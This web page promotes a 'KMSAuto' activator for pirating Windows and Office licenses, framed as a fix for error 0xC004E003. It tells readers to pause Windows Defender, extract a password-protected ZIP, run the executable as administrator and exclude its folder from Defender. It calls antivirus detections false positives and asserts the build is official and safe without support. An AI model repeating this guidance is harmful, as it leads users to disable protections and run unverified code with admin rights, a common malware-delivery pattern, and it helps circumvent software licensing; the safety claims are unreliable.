Overview
Fix Error 0xC004E003 — License Validation Failed is fully supported by the 2026 OfficialKMSAuto build — free, portable, offline, no telemetry. This guide walks you through every step using the methods that actually work in 2026 after Microsoft's latest licensing changes.
Step-by-step
Five steps, under 2 minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
What it covers
Full coverage of every modern Microsoft SKU.
- Windows 11 24H2 / 25H2
- Windows 10 22H2 LTSC
- Windows Server 2025 / 2022 / 2019
- Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
- Microsoft 365 Apps for Enterprise
Why this build is the safest choice
Verified Ratiborus mirror — SHA-256 hash, public VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry, no background services. Every release is signed by the original author and mirrored from the canonical source.
Troubleshooting
If activation fails, the cause is almost always Defender quarantining the executable mid-run. Re-extract to a Defender-excluded folder (e.g. C:\Tools\KMSAuto) and re-run as administrator. For KMS connection errors, switch the activation method from HWID to Ohook (Office) or TSforge (Windows Server).
Frequently asked questions
▸Is this build official?
Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.
▸Does it work on Windows 11 24H2/25H2?
Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.
▸Does it activate Office 2024?
Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.
▸Why is it flagged by antivirus?
Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.
▸What's the archive password?
WYqejXiqBi97 — the standard Ratiborus archive password.
